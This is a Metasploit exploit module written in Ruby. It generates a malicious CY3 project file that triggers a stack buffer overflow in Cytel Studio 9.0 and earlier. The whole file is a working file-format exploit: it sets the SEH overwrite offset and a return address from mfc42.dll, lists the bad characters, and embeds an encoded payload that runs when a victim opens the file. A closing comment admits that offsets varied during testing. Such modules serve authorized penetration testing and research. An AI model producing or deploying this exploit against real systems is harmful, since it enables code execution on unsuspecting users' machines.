##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack based buffer overflow found
        in Cytel Studio <= 9.0. The overflow is triggered during the
        copying of strings to a stack buffer of 256 bytes.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Luigi Auriemma',  # Initial Discovery/PoC
          'James Fitts <fitts.james[at]gmail.com>'      # Metasploit Module (Thx Juan & Jeff)
        ],
      'References'     =>
        [
          [ 'OSVDB', '75991' ],
          [ 'BID', '49924' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space' => 1000,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [
            # File version 8.0.0.1
            'Cytel Studio 9.0',
            {
              'Ret' => 0x73e58e01, # p/p/r mfc42.dll
              'Offset' => 500
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-10-02',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.cy3']),
      ])
  end

  def exploit
    cy3 =  "90\n150 1\n1\test\n"
    cy3 << rand_text_alpha_upper(target['Offset'])
    cy3 << generate_seh_record(target.ret)
    cy3 << rand_text_alpha_upper(8)
    cy3 << payload.encoded
    cy3 << rand_text_alpha_upper(5000 - cy3.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(cy3)
  end
end

=begin
During testing, the offset for Jeff was different. But the three of us have NOT
been unable to reproduce the same problem.  All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end
